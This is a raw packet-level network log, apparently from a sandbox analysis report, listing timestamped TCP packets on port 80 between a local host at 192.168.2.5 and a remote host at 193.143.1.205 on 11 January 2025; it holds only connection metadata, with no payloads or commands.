Jan 11, 2025 02:13:33.270921946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.271049023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.271059990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.271070957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.271089077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.271090031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.271140099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.271250963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.271262884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.271294117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.271586895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.271630049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.271641016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.271666050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.271780014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.271790981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.271821022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.271893978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.271905899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.271915913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.271927118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.271939039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.271956921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.272114992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.272126913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.272136927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.272149086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.272164106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.272181034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.272536039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.272578001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.272583961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.272595882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.272636890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.272684097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.272787094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.272799015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.272809982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.272820950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.272819996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.272839069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.272972107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.272983074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.273022890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.278795004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.278831005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.278841972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.278852940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.278867960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.278899908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.279120922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.288408995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.304944038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.304961920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.304975033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.305001020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.305018902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.305025101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.305036068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.305047035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.305058956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.305084944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.305107117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.308233023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.318048954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.330677986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.330704927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.330717087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.330852985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.357033968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.357064962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.357079029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.357091904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.357125044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.357258081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.357270002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.357280016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.357290983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.357301950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.357302904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.357323885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.357430935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.357441902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.357454062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.357465029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.357472897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.357541084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.357552052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.357557058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.357564926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.357589006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.357610941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.357675076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.357686996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.357726097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.402100086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.402120113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.402148962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.402159929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.402164936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.402199030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.402225018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.402237892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.402271032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.402348995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.402360916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.402394056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.402405977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.402410984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.402446985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.402499914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.402540922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.402578115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.402625084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.402637005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.402674913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.402731895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.402744055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.402755976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.402777910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.402864933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.402908087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.402916908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.403012991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.403024912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.403031111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.403070927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.403222084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.403234005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.403245926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.403256893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.403269053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.403280020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.403281927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.403291941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.403318882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.403568029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.403579950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.403592110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.403603077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.403616905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.403656006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.403774977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.403786898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.403799057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.403812885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.403819084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.403856993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.403978109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.403990030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.404019117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.404139042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.404150009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.404161930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.404172897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.404172897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.404185057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.404196978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.404201984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.404207945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.404233932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.404249907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.404470921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.404484034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.404532909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.404592991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.404604912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.404617071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.404628992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.404637098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.404666901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.404824972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.404844999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.404856920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.404867887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.404880047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.404881001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.404891014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.404897928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.404901981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.404932022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.405319929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.405332088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.405338049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.405343056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.405349016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.405354977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.405359983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.405364990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.405371904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.405383110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.405436039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.405853987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.405864954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.405877113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.405884027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.405888081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.405899048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.405910015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.405913115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.405920982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.405932903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.405944109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.405944109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.405956030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.405963898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.405967951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.405982018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.406004906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.406871080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.406987906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.407000065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.407010078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.407031059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.407041073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.407042980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.407068014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.407099009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.407135010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.407160997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.407253027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.407263994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.407269955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.407275915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.407336950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.425121069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.425143957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.425153971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.425165892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.425193071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.425302029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.425312042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.425323009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.425343037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.425462961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.425493002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.446266890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.446279049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.446290016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.446336031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.446388006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.446398973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.446408987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.446419001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.446432114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.446453094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.446671009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.446681023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.446691036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.446701050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.446707964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.446712017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.446729898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.446744919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.446904898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.446917057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.446948051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.453468084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.491475105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.491503000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.491516113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.491527081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.491539001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.491550922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.491594076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.491601944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.491614103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.491626024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.491631031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.491637945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.491658926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.491678953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.491820097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.491832972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.491843939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.491857052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.491888046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.491914988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.492299080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.492351055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.492363930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.492382050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.492511988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.492525101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.492549896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.492599010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.492610931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.492621899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.492630005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.492634058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.492656946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.492815971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.492827892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.492840052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.492851019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.492851973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.492862940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.492867947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.492902040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.493063927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.493076086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.493087053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.493109941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.493185997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.493218899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.493248940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.493261099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.493273020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.493294954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.493652105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.493664026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.493674994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.493685961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.493685961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.493697882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.493702888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.493709087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.493721008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.493729115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.493731976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.493742943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.493752003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.493763924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.493765116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.493774891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.493787050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.493793011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.493798018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.493815899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.494081020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.494259119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.494270086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.494282007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.494292021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.494301081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.494302988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.494313002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:13:33.494318962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.494352102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:13:33.494395971 CET	80	49704	193.143.1.205	192.168.2.5
